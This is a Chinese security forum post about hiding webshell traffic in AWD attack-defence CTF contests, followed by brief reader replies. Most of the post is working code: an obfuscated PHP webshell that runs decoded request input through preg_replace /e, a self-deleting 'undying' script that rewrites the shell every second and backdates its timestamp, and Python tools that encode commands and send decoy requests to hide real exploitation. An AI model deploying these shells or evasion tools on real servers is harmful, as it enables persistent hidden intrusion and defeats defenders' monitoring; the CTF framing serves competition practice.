用户
搜索

[参加活动] AWD流量混淆之道

该用户从未签到

i春秋作家

Rank: 7Rank: 7Rank: 7

5

主题

12

帖子

104

魔法币
收听
0
粉丝
0
注册时间
2018-1-1

i春秋签约作者

发表于 2018-9-20 16:38:16 57503

AWD 流量混淆之道

题目取得有点标题党,其实只是自己当时的一个想法,去实现了一遍,只有简单的一个混淆的脚本,水平比较有限,所以很多地方实现的并不是比较合理,望各位师傅们,勿喷,写这篇文章的目的主要是提供思路的参考

0x01 混淆原理

原理非常简单,利用了strip_tagsrot13算法

将正常的payload编码成类似的模样

c<p>u<a>c<head>v<a>a<head>s<body>b<head>(<head>)<span>

然后在在一句话木马处设置解码函数

进行解码

循环遍历Web目录下所有的php文件,匹配所有的请求的函数名,然后随机发送经过编码后的混淆数据,以达到流量混淆的目的

效果图

标红的位置是利用webshell的流量,其余的全是混淆流量

利用webshell的流量包内容如下

0x02 编码与解码

核心为攻击流量的编码和webshell端的解码部分

encode.py

def rot13(s, OffSet=13):
    def encodeCh(ch):
        f=lambda x: chr((ord(ch)-x+OffSet) % 26 + x)
        return f(97) if ch.islower() else (f(65) if ch.isupper() else ch)
    return ''.join(encodeCh(c) for c in s)

listhtml = ["<p>","<body>","<head>","<a>","<span>","<br>"]
def tags(str):
    string = ""
    for i in str:
        i+=listhtml[random.randint(0,len(listhtml)-1)]
        string+=i
    return string

def encode(str):
    return tags(rot13((str)))

使用encode对payload进行编码

print(encode("cat /root/flag"))

输出结果
p<span>n<body>g<span> <br>/<br>e<body>b<span>b<br>g<span>/<head>s<body>y<a>n<br>t<body>

在webshell端进行解码

<?php
echo strip_tags(str_rot13($_REQUEST['cmd']);
?>

解码效果

0x03 流量混淆

流量混淆的思路,首先遍历Web目录下的所有php文件,将其添加到列表php_path

php_path = []  #定义php文件变量列表
request_list = [] #定义传值参数名,变量列表
def traverse(path):
    for item in os.listdir(path):
        fullitem = os.path.join(path,item)#组合成新目录
        if ".php" in fullitem:
            php_path.append(fullitem)
        if os.path.isdir(fullitem):
            traverse(fullitem)

然后对php_path中的文件进行正则匹配,匹配出所有的GETPOSTREQUEST 的变量名,将其去重后添加到request_list列表中

def request_search(path):
    for file in path:
        """
        通过try except 解决了编码问题
        每个文件的编码不一定都相同
        """
        try:
            f = open(file,"r",encoding="UTF-8").read()
        except UnicodeDecodeError:
            f = open(file, "r", encoding="GBK").read()
        """
        通过测试正则,解决了匹配问题
        $,[ 在正则中本身有特殊含义
        """
        key_get = "\$_GET\['(.+?)']"
        key_post = "\$_POST\['(.+?)']"
        key_cookie = "\$_REQUEST\['(.+?)']"

        key_get_re = re.compile(key_get)
        key_post_re = re.compile(key_post)
        key_cookie_re = re.compile(key_cookie)

        if len(re.findall(key_get_re,f)):
            for get in re.findall(key_get_re,f):
                request_list.append(get)
        if len(re.findall(key_post_re,f)):
            for post in re.findall(key_post_re,f):
                request_list.append(post)
        if len(re.findall(key_cookie_re,f)):
            for cookie in re.findall(key_cookie_re,f):
                request_list.append(cookie)
    request_list = list(set(request_list)) #去重

随机生成混淆的字符串

def confusion_payload():#混淆payload函数
    random_char = "abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    random_strings = "".join(random.sample(random_char, random.randint(1, 186)))  # 此处最大值,根据字符串长度
    return encode(random_strings)

发送混淆流量

def request_confusion(host, req, page, variable, payload):#混淆流量发送函数
    #print(payload)
    host = "http://"+host
    """
    这里0代表GET,1代表POST,2代表COOKIE
    """
    if req == 0:
        url = host + "/" + page + "?" + variable + "=" + payload
        try:
            requests.get(url)
            print("[+]GET")
        except:
            print("get error")
    elif req == 1:
        url = host+"/"+page
        data = {
            variable:payload,
        }
        try:
            requests.post(url=url,data=data)
            print("[+]POST")
        except:
            print("post error")
    elif req == 2:
        url = host + "/" + page
        header = {
            "cookie":variable+"="+payload
        }
        try:
            requests.get(url=url,headers=header)
            print("[+]Cookie")
        except:
            print("Cookie error")

调用发送混淆流量

def confusion(host):#调用混淆模块,这里采用随机的方式,不发送全部流量
    pagecount = []
    num = random.randint(3, 10)
    for pagenum in range(num):
        page = php_path[random.randint(0, len(php_path) - 1)]
        page = page.replace(path + "\\", "").replace("\\", "/")
        if page not in pagecount:#仅向未发送过的页面发送数据
            pagecount.append(page)
            req = random.randint(0, 2)
            payload = confusion_payload()
            variable = request_list[random.randint(0, len(request_list) - 1)]
            request_confusion(host=host, req=req, page=page, variable=variable, payload=payload)

0x04 混淆马

对木马也进行混淆,这里参考ph牛的变形WebShell的方法

<?php $_=[];/*10ae9fc7d453b0dd525d0edf2ede7961*/;$_=@"$_";@$_=$_["!"=="@"].$_["!"!=="@"].$_[2].$_[3];$file=$_;@preg_replace("/abc/e",strip_tags(str_rot13($_REQUEST[$file])),"abcd"); ?>

但是只适用于php5.5版本以上,5.5以下会报错

Parse error: syntax error, unexpected '[' in F:\phpStudy\PHPTutorial\WWW\AWD\conn.php on line 1

这里当然可以采用内存马来不断的写入,来达到不死混淆马的目的

其中的注释部分用于检测,完整性是否被破坏

<?php
    set_time_limit(0);//程序允许执行的秒数,其中将秒数设为0表示持续运行
    ignore_user_abort(True);//设置客户端断开后,自动执行
    unlink(__FILE__);
    $file = "conn.php";
    $payload = '<?php $_=[];/*'.md5("list").'*/;$_=@"$_";@$_=$_["!"=="@"].$_["!"!=="@"].$_[2].$_[3];$file=$_;@preg_replace("/abc/e",strip_tags(str_rot13($_REQUEST[$file])),"abcd"); ?>';
    while(1){
        $shelltext=file_get_contents($file);
        if(file_exists($file)){
            if (!strstr ($shelltext,md5("list")))
            {
                @file_put_contents($file,$payload,FILE_APPEND);
            }
        }else{
            @file_put_contents($file,$payload);
        }
        touch($file,mktime(20,15,1,11,28,2016));
        sleep(1);
    }
?>

0x05 完整代码

之前的代码是拆分成一个一个功能模块来实现的,在最后的时候,我把它改成了面向对象的形式来实现

贴上最终版代码

confusion.py

# coding=utf-8
import os
import re
import requests
import random
import encode #调用自写encode payload编码模块

class confusion:
    def __init__(self,path):
        self.path = path
        self.php_path = []  # 定义php文件变量列表
        self.request_list = []  # 定义传值参数名,变量列表
        self.traverse() #获取php文件的路径
        self.request_search()
    def traverse(self):
        for item in os.listdir(self.path):
            self.fullitem = os.path.join(self.path,item)#组合成新目录
            if ".php" in self.fullitem:
                self.php_path.append(self.fullitem)
            if os.path.isdir(self.fullitem):
                self.traverse(self.fullitem)
    def request_search(self):
        for file in self.php_path:
            """
            通过try except 解决了编码问题
            每个文件的编码不一定一致
            """
            try:
                f = open(file,"r",encoding="UTF-8").read()
            except UnicodeDecodeError:
                f = open(file, "r", encoding="GBK").read()
            """
            通过测试正则,解决了匹配问题
            $,[ 在正则中本身有特殊含义
            """
            key_get = "\$_GET\['(.+?)']"
            key_post = "\$_POST\['(.+?)']"
            key_cookie = "\$_REQUEST\['(.+?)']"

            key_get_re = re.compile(key_get)
            key_post_re = re.compile(key_post)
            key_cookie_re = re.compile(key_cookie)

            if len(re.findall(key_get_re,f)):
                for get in re.findall(key_get_re,f):
                    self.request_list.append(get)
            if len(re.findall(key_post_re,f)):
                for post in re.findall(key_post_re,f):
                    self.request_list.append(post)
            if len(re.findall(key_cookie_re,f)):
                for cookie in re.findall(key_cookie_re,f):
                    self.request_list.append(cookie)

            self.request_list = list(set(self.request_list))
    def request_confusion(self,host, req, page, variable, payload):#混淆流量发送函数
        host = "http://"+host
        """
        这里0代表get,1代表post,2代表cookie
        """
        if req == 0:
            url = host + "/" + page + "?" + variable + "=" + payload
            try:
                requests.get(url,timeout=2)
            except:
                pass
                #print("ERROR GET")
        elif req == 1:
            url = host+"/"+page
            data = {
                variable:payload,
            }
            try:
                requests.post(url=url,data=data,timeout=2)
            except:
                pass
                #print("ERROR POST")
        elif req == 2:
            url = host + "/" + page
            header = {
                "cookie":variable+"="+payload
            }
            try:
                requests.get(url=url,headers=header,timeout=2)
            except:
                pass
                #print("ERROR COOKIE")
    def confusion(self,host):#调用混淆模块,这里采用随机的方式,不发送全部流量
        pagecount = []
        num = random.randint(3, 10)
        i = 0
        for pagenum in range(num):
            page = self.php_path[random.randint(0, len(self.php_path) - 1)]
            page = page.replace(self.path + "\\", "").replace("\\", "/")
            if page not in pagecount:#仅向未发送过的页面发送数据
                pagecount.append(page)
                req = random.randint(0, 2)
                payload = encode.confusion_payload()
                variable = self.request_list[random.randint(0, len(self.request_list) - 1)]
                self.request_confusion(host=host, req=req, page=page, variable=variable, payload=payload)

encode.py

import random

def rot13(s, OffSet=13):
    def encodeCh(ch):
        f=lambda x: chr((ord(ch)-x+OffSet) % 26 + x)
        return f(97) if ch.islower() else (f(65) if ch.isupper() else ch)
    return ''.join(encodeCh(c) for c in s)

listhtml = ["<p>","<body>","<head>","<a>","<span>","<br>"]

def tags(str):
    string = ""
    for i in str:
        i+=listhtml[random.randint(0,len(listhtml)-1)]
        string+=i
    return string

def encode(str):
    return tags(rot13((str)))

payload = "cat /root/flag"

print(encode(payload))  #测试输出真正的编码后的payload
"""
strip_tags()
"""
def confusion_payload():#混淆payload函数
    random_char = "abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmpopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    random_strings = "".join(random.sample(random_char, random.randint(1, 186)))  # 此处最大值,根据字符串长度
    return encode(random_strings)

# for i in range(100): #测试输出混淆payload部分
#     print(confusion_payload())

attack.py

# coding=utf-8
import requests
import encode
import confusion

conf = confusion.confusion("F:\\phpStudy\\PHPTutorial\\WWW\\awd")

url = "http://10.232.54.176/awd/conn.php"
payload = 'system("type flag")'
payload_encode = encode.encode(payload)
#print(payload_encode)
data = {
    "Arra":payload_encode,
}

conf.confusion("10.232.54.176/awd")
html = requests.post(url,data=data).text
conf.confusion("10.232.54.176/awd")
print(html)

#print(encode.encode("system('ipconfig');"))
学习一下~
使用道具 举报 回复
学习一下~虽然看不太明白。
使用道具 举报 回复
发表于 2018-9-23 14:07:45
6666666666666666
learning
使用道具 举报 回复
发表于 2018-10-1 05:09:08
支持一下
路漫漫,
使用道具 举报 回复
感谢分享
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册